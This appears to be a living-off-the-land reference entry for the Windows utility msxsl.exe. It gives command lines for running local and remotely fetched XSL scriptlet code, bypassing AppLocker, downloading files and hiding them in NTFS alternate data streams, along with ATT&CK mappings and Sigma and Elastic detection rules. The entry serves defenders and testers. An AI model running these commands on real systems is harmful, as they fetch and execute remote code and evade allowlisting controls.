

Execute AWL bypass Download Alternate data streams

Command line utility used to perform XSL transformations.

Paths:

no default

Resources:

- https://twitter.com/subTee/status/877616321747271680
- https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker
- https://github.com/RonnieSalomonsen/Use-msxsl-to-download-file

Acknowledgements:

- Casey Smith (@subtee)
- Ronnie Salomonsen (@r0ns3n)

Detections:

- Sigma: proc creation win wmic xsl script processing.yml
- Elastic: <u>defense_evasion_msxsl_beacon.toml</u>
- Elastic: <u>defense evasion msxsl network.toml</u>
- Elastic: <u>defense_evasion_network_connection_from_windows_binary.toml</u>

Execute

1. Run COM Scriptlet code within the script.xsl file (local).

msxsl.exe customers.xml script.xsl

Use case: Local execution of script stored in XSL file.

Privileges required: User
Operating systems: Windows

ATT&CK® technique: T1220: XSL Script Processing

2. Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml

Use case: Local execution of remote script stored in XSL script stored as an XML file.

Privileges required: User
Operating systems: Windows

ATT&CK® technique: T1220: XSL Script Processing

AWL bypass

1. Run COM Scriptlet code within the script.xsl file (local).

msxsl.exe customers.xml script.xsl

Use case: Local execution of script stored in XSL file.

Privileges required: User
Operating systems: Windows

ATT&CK® technique: T1220: XSL Script Processing

2. Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml

Use case: Local execution of remote script stored in XSL script stored as an XML file.

Privileges required: User
Operating systems: Windows

ATT&CK® technique: T1220: XSL Script Processing

Download

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Using remote XML and XSL files, save the transformed XML file to disk.

msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml
https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>

Use case: Download a file from the internet and save it to disk.

Privileges required: User
Operating systems: Windows

ATT&CK® technique: T1105: Ingress Tool Transfer

Alternate data streams

Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).

msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml
https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o
<filename>:ads-name

Use case: Download a file from the internet and save it to an NTFS Alternate Data Stream.

Privileges required: User
Operating systems: Windows

ATT&CK® technique: T1564: Hide Artifacts